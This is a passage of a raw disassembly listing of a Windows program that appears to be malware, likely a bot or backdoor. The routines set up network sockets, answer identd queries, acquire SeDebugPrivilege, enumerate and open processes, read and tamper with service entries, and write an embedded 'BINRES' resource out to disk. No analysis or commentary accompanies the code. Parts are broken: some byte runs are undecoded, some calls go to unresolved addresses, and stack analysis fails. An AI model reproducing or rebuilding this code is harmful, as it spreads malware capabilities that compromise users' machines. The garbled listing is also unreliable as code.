		mov	ecx, [esp+0F0h+arg_18C8]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_41F030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F960	proc near		; CODE XREF: sub_401230j

var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_60		= byte ptr -60h
var_48		= byte ptr -48h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41F960
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_40198D
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+9Ch+var_90], eax
		jnz	short loc_41F99D
		mov	byte_4E8E99, 0
		jmp	loc_41FB01
; ---------------------------------------------------------------------------


loc_41F99D:				; CODE XREF: sub_41F960+2Fj
		mov	cl, byte_44927B
		xor	ebx, ebx
		cmp	cl, bl
		mov	byte_4E8E99, 1
		jnz	loc_41FAF4
		lea	ecx, [esp+9Ch+var_8C]
		push	ecx
		push	eax
		call	sub_402009
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_41FAE7
		push	edi
		lea	ecx, [esp+0A0h+var_7C]
		call	sub_40142E
		mov	[esp+0A0h+var_4], ebx
		call	sub_401F0A
		mov	esi, dword_511AC8
		call	esi	; rand
		cdq
		mov	ecx, 3
		push	offset byte_448F30
		idiv	ecx
		lea	ecx, [esp+0A0h+var_78]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_4015E1
		cmp	edi, ebx
		jle	short loc_41FA66


loc_41FA0A:				; CODE XREF: sub_41F960+104j
		lea	ecx, [esp+9Ch+var_60]
		call	sub_40142E
		lea	edx, [esp+9Ch+var_78]
		lea	ecx, [esp+9Ch+var_60]
		push	edx
		mov	byte ptr [esp+0A0h], 1
		call	sub_401FDC
		call	esi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+9Ch+var_60]
		add	edx, 61h
		push	edx
		call	sub_4017EE
		push	eax
		lea	edx, [esp+0A4h+var_78]
		push	offset dword_444E5C
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+9Ch+var_60]
		mov	[esp+9Ch], bl
		call	sub_401226
		dec	edi
		jnz	short loc_41FA0A


loc_41FA66:				; CODE XREF: sub_41F960+A8j
		push	0Ah
		lea	ecx, [esp+0A0h+var_78]
		call	sub_401479
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+9Ch+var_48]
		rep stosd
		lea	ecx, [esp+9Ch+var_78]
		call	sub_4017EE
		push	eax
		push	71h
		call	esi	; rand
		cdq
		mov	ecx, 1770h
		idiv	ecx
		inc	edx
		push	edx
		lea	edx, [esp+0A8h+var_48]
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s\r\n"
		push	edx
		call	sub_5FC011
		nop
		add	esp, 14h
		lea	eax, [esp+9Ch+var_48]
		push	ebx
		push	40h
		push	eax
		push	ebp
		call	near ptr 71AB428Ah
		nop
		mov	esi, dword_511C9C
		push	ebp
		call	esi	; closesocket
		lea	ecx, [esp+0A0h+var_7C]
		mov	[esp+0A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0A0h+var_90]
		push	ecx
		call	esi	; closesocket
		mov	byte_4E8E99, bl
		pop	edi
		jmp	short loc_41FAFE
; ---------------------------------------------------------------------------


loc_41FAE7:				; CODE XREF: sub_41F960+67j
		push	7D0h
		call	near ptr 2841E5Ch
		nop
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FAF4:				; CODE XREF: sub_41F960+4Ej
		mov	ebp, [esp+9Ch+var_90]
		mov	esi, dword_511C9C


loc_41FAFE:				; CODE XREF: sub_41F960+185j
		push	ebp
		call	esi	; closesocket


loc_41FB01:				; CODE XREF: sub_41F960+38j
					; sub_41F960+192j
		mov	ecx, [esp+9Ch+var_C]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
sub_41F960	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FB90	proc near		; CODE XREF: sub_401AD2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_41FBCB
		dec	eax
		jz	short loc_41FBB4
		dec	eax
		jnz	short loc_41FBF1
		mov	ecx, dword_50DB28
		mov	dword_50DB0C, 4
		call	sub_401DE3
		jmp	short loc_41FBF1
; ---------------------------------------------------------------------------


loc_41FBB4:				; CODE XREF: sub_41FB90+8j
		mov	ecx, dword_50DB28
		mov	dword_50DB0C, 7
		call	sub_401028
		jmp	short loc_41FBF1
; ---------------------------------------------------------------------------


loc_41FBCB:				; CODE XREF: sub_41FB90+5j
		mov	ecx, dword_50DB28
		xor	eax, eax
		mov	dword_50DB14, eax
		mov	dword_50DB0C, 1
		mov	dword_50DB1C, eax
		mov	dword_50DB20, eax
		call	sub_40174E


loc_41FBF1:				; CODE XREF: sub_41FB90+Bj
					; sub_41FB90+22j ...
		mov	eax, dword_50DB2C
		push	offset dword_50DB08
		push	eax
		mov	dword_50DB0C, 4
		nop
		call	near ptr 290183Ah
		retn	4
sub_41FB90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FC30:				; CODE XREF: ___:loc_401965j
		push	esi
		xor	esi, esi
		push	offset sub_401AD2
		mov	ecx, offset byte_44990F
		mov	dword_50DB08, 20h
		mov	dword_50DB0C, 2
		mov	dword_50DB10, 3
		mov	dword_50DB14, esi
		mov	dword_50DB18, esi
		mov	dword_50DB1C, esi
		mov	dword_50DB20, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 29014B3h
		cmp	eax, esi
		mov	dword_50DB2C, eax
		jz	short loc_41FCAA
		push	offset dword_50DB08
		push	eax
		mov	dword_50DB0C, 4
		mov	dword_50DB1C, esi
		mov	dword_50DB20, esi
		nop
		call	near ptr 290183Ah


loc_41FCAA:				; CODE XREF: ___:0041FC86j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FCD0	proc near		; CODE XREF: sub_401069j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F068
		mov	eax, esi
		pop	esi
		retn
sub_41FCD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD00	proc near		; CODE XREF: sub_401CF3j

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	dword_50DB28, ecx
		push	100h
		mov	ecx, offset byte_44990F
		call	sub_4017EE
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], offset loc_401965
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		nop
		call	near ptr 2901053h
		xor	eax, eax
		add	esp, 110h
		retn
sub_41FD00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FD80:				; CODE XREF: ___:00401C44j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		push	offset aWb	; "wb"
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41FDA2
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDA2:				; CODE XREF: ___:0041FD9Aj
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 2891C12h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41FDB9
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDB9:				; CODE XREF: ___:0041FDB1j
		mov	edx, [esp+14h]
		push	offset aBinres	; "BINRES"
		and	edx, 0FFFFh
		push	edx
		push	esi
		nop
		call	near ptr 27B04CBh
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41FDDC
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDDC:				; CODE XREF: ___:0041FDD4j
		push	ebp
		push	edi
		push	esi
		call	near ptr 27B0B75h
		nop
		push	edi
		push	esi
		mov	ebp, eax
		call	near ptr 27C0000h
		nop
		push	ebp
		mov	esi, eax
		call	near ptr 27C0396h
		nop
		push	ebx
		push	esi
		push	1
		push	eax
		call	near ptr 77C4173Bh
		nop
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE50	proc near		; CODE XREF: sub_40188Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FE78
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_41FE71
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FE71:				; CODE XREF: sub_41FE50+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_41FE78:				; CODE XREF: sub_41FE50+Fj
		pop	esi
		retn
sub_41FE50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE90	proc near		; CODE XREF: sub_401AA0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FEAE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FEAE:				; CODE XREF: sub_41FE90+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_40188E
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF0A
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FF0A:				; CODE XREF: sub_41FE90+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FE90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF50	proc near		; CODE XREF: sub_40198Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FF6E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FF6E:				; CODE XREF: sub_41FF50+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41FFC0
		push	esi
		call	near ptr 71AB9639h
		nop
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FFC0:				; CODE XREF: sub_41FF50+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FF50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FFF0	proc near		; CODE XREF: sub_4012DFj

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, [esp+14h+arg_0]
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420024
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_10]
		push	eax
		push	ecx
		push	esi
		mov	[esp+20h+arg_0], 10h
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420027


loc_420024:				; CODE XREF: sub_41FFF0+14j
		or	eax, 0FFFFFFFFh


loc_420027:				; CODE XREF: sub_41FFF0+32j
		pop	esi
		add	esp, 10h
		retn
sub_41FFF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420040	proc near		; CODE XREF: sub_402009j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_420076
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420076
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420079


loc_420076:				; CODE XREF: sub_420040+8j
					; sub_420040+1Aj
		or	eax, 0FFFFFFFFh


loc_420079:				; CODE XREF: sub_420040+34j
		pop	edi
		pop	esi
		retn
sub_420040	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_420090	proc near		; CODE XREF: sub_401604j

var_1128	= dword	ptr -1128h
var_1124	= byte ptr -1124h
var_1112	= byte ptr -1112h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_1108	= byte ptr -1108h
var_1104	= byte ptr -1104h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h

		mov	eax, 1114h
		call	sub_437B30
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	sub_4382BC
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4200C3
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_4200C3:				; CODE XREF: sub_420090+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_42018D
		push	ebx
		mov	ebx, dword_5117E0
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_4200E5:				; CODE XREF: sub_420090+F3j
		mov	edi, offset aUnknown ; "unknown"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+20h]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_420177
		lea	edx, [esp+18h]
		lea	eax, [esp+1Ch]
		push	edx
		push	4
		push	eax
		push	esi
		call	sub_4382B6
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_420170
		mov	edx, [esp+1144h+var_1128]
		lea	ecx, [esp+1144h+var_1124]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	sub_4382B0
; ---------------------------------------------------------------------------
		db 8Bh,	84h, 24h
		dd 1128h, 20244C8Dh, 0F3E85150h, 90778260h, 8508C483h
		dd 500D75C0h, 31E89056h, 0C6023902h, 1132444h
; ---------------------------------------------------------------------------


loc_420170:				; CODE XREF: sub_420090+A2j
		push	esi
		nop
		call	near ptr 28506B2h


loc_420177:				; CODE XREF: sub_420090+8Cj
		mov	eax, dword ptr [esp+1138h+var_1124]
		add	ebp, 4
		dec	eax
		mov	dword ptr [esp+1138h+var_1124],	eax
		jnz	loc_4200E5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_42018D:				; CODE XREF: sub_420090+3Aj
		mov	al, byte ptr [esp+1128h+var_1128+3]
		add	esp, 1114h
		retn
sub_420090	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4201F0	proc near		; CODE XREF: sub_401A0Aj

var_490		= byte ptr -490h
var_488		= byte ptr -488h
var_482		= byte ptr -482h
var_480		= byte ptr -480h
var_478		= byte ptr -478h
var_468		= dword	ptr -468h
var_464		= byte ptr -464h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_43C		= byte ptr -43Ch
var_438		= byte ptr -438h
var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_38		= byte ptr -38h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4201F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_401870
		push	eax
		mov	[esp+464h+var_4], 0
		call	sub_401EAB
		add	esp, 4
		lea	ecx, [esp+460h+var_424]
		mov	bl, al
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_42036A
		lea	ecx, [esp+460h+var_43C]
		call	sub_40142E
		push	esi
		lea	eax, [esp+464h+var_43C]
		mov	ebx, 1
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		mov	[esp+46Ch+var_4], ebx
		mov	[esp+46Ch+var_454], 0
		mov	[esp+46Ch+var_450], 80h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+460h+var_454]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+46Ch+var_43C]
		call	sub_40168B
		push	eax
		push	80000002h
		nop
		call	near ptr 2950000h
		mov	ecx, [esp+474h+var_468]
		lea	edx, [esp+474h+var_464]
		lea	eax, [esp+474h+var_420]
		push	edx
		push	eax
		push	0
		push	0
		push	offset aImagepath ; "ImagePath"
		push	ecx
		nop
		call	near ptr 2900000h
		lea	edx, [esp+0Bh]
		lea	eax, [esp+48Ch+var_438]
		push	edx
		push	eax
		lea	ecx, [esp+494h+var_478]
		nop
		call	near ptr 76081F67h
		mov	ecx, dword_5119E0
		mov	[esp+494h+var_38], 2
		mov	edx, [ecx]
		lea	ecx, [esp+494h+var_480]
		push	edx
		push	offset asc_444ADC ; "\\"
		call	near ptr 76085AE4h
		nop
		inc	eax
		lea	ecx, [esp+49Ch+var_488]
		push	eax
		push	0
		nop
		call	near ptr 760976AFh
		lea	ecx, [esp+4A4h+var_490]
		nop
		call	near ptr 7608B84Ch
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 24244C8Dh, 0FE1366E8h, 0D1E850FFh, 90023E08h, 14244C8Dh
		dd 5C249C88h, 0E8000004h, 75C6F149h, 244C8D90h,	2484C724h
		dd 45Ch, 0FFFFFFFFh, 0FE0ED5E8h, 5EC38AFFh, 248C8B5Bh
		dd 44Ch, 0D8964h, 81000000h, 458C4h
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_42036A:				; CODE XREF: sub_4201F0+5Aj
		mov	ecx, [esp+460h+var_C]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_4201F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420400	proc near		; CODE XREF: sub_401EABj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 29108D6h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_420425
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420425:				; CODE XREF: sub_420400+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	ebx
		nop
		call	near ptr 28C0000h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_420450
		push	ebx
		call	near ptr 2920000h
		nop
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420450:				; CODE XREF: sub_420400+3Fj
		push	ebp
		push	edi
		mov	edi, dword_511748
		push	esi
		call	edi
		push	esi
		call	edi
		mov	ebp, dword_511744
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp
		push	esi
		call	edi
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp
		push	esi
		mov	esi, dword_511754
		call	esi
		push	ebx
		call	esi
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_420400	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4204D0	proc near		; CODE XREF: sub_4018B6j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		nop
		call	near ptr 27B032Fh
		push	eax
		nop
		call	near ptr 28E143Fh
		mov	ebp, dword_511720
		mov	edi, dword_5118E0
		test	eax, eax
		jnz	short loc_420520
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		call	near ptr 27B0381h
		nop
		push	eax
		nop
		call	near ptr 28E1A1Ah
		test	eax, eax
		jz	short loc_42057F


loc_420520:				; CODE XREF: sub_4204D0+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_420583
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	esi
		mov	[esp+44h+var_14], 2
		call	near ptr 28F0000h
		nop
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_420578
		nop
		call	near ptr 27E0840h
		cmp	eax, 514h
		jnz	short loc_420583
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_42057D
; ---------------------------------------------------------------------------


loc_420578:				; CODE XREF: sub_4204D0+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_42057D:				; CODE XREF: sub_4204D0+A6j
		call	edi


loc_42057F:				; CODE XREF: sub_4204D0+4Ej
		mov	[esp+38h+var_28], esi


loc_420583:				; CODE XREF: sub_4204D0+54j
					; sub_4204D0+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		nop
		call	near ptr 2720000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4205A8
		push	0
		push	esi
		nop
		call	near ptr 27B039Ch
		push	esi
		mov	bl, 1
		call	edi


loc_4205A8:				; CODE XREF: sub_4204D0+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_4205C7
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi


loc_4205C7:				; CODE XREF: sub_4204D0+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_4204D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420630	proc near		; CODE XREF: sub_4011D6j

var_68		= dword	ptr -68h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10C4	= dword	ptr  10C8h
arg_10D0	= dword	ptr  10D4h
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420630
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	sub_437B30
		push	esi
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 2891C12h
		test	eax, eax
		mov	dword_50DB30, eax
		jnz	short loc_42067C
		push	offset aPsapi_dll ; "PSAPI.DLL"
		call	near ptr 280089Fh
		nop
		test	eax, eax
		mov	dword_50DB30, eax
		jz	loc_4207FA


loc_42067C:				; CODE XREF: sub_420630+32j
		mov	esi, dword_511918
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	eax
		call	esi
		mov	dword_50DB34, eax
		mov	eax, dword_50DB30
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	eax
		call	esi
		mov	ecx, dword_50DB30
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ecx
		mov	dword_50DB38, eax
		call	esi
		mov	ecx, dword_50DB34
		mov	dword_50DB3C, eax
		test	ecx, ecx
		jz	loc_4207FA
		mov	edx, dword_50DB38
		test	edx, edx
		jz	loc_4207FA
		test	eax, eax
		jz	loc_4207FA
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx
		test	eax, eax
		jz	loc_4207FA
		mov	ecx, dword ptr aUnknown	; "unknown"
		mov	eax, dword ptr aUnknown+4
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_4207E1
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, dword_5117E0
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_42073F:				; CODE XREF: sub_420630+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
		call	ebp
		mov	esi, eax
		test	esi, esi
		jz	short loc_4207CD
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	dword_50DB38
		test	eax, eax
		jz	short loc_4207C6
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	dword_50DB3C
		lea	ecx, [esp+74h+var_54]
		call	sub_401875
		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_4015E1
		mov	ecx, [edi]
		lea	edx, [esp+74h+var_54]
		mov	[esp+35h], ecx
		push	edx
		mov	ecx, ebx
		call	sub_402185
; ---------------------------------------------------------------------------
		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+arg_10D0], 0FFFFFFFFh
		call	sub_401A82


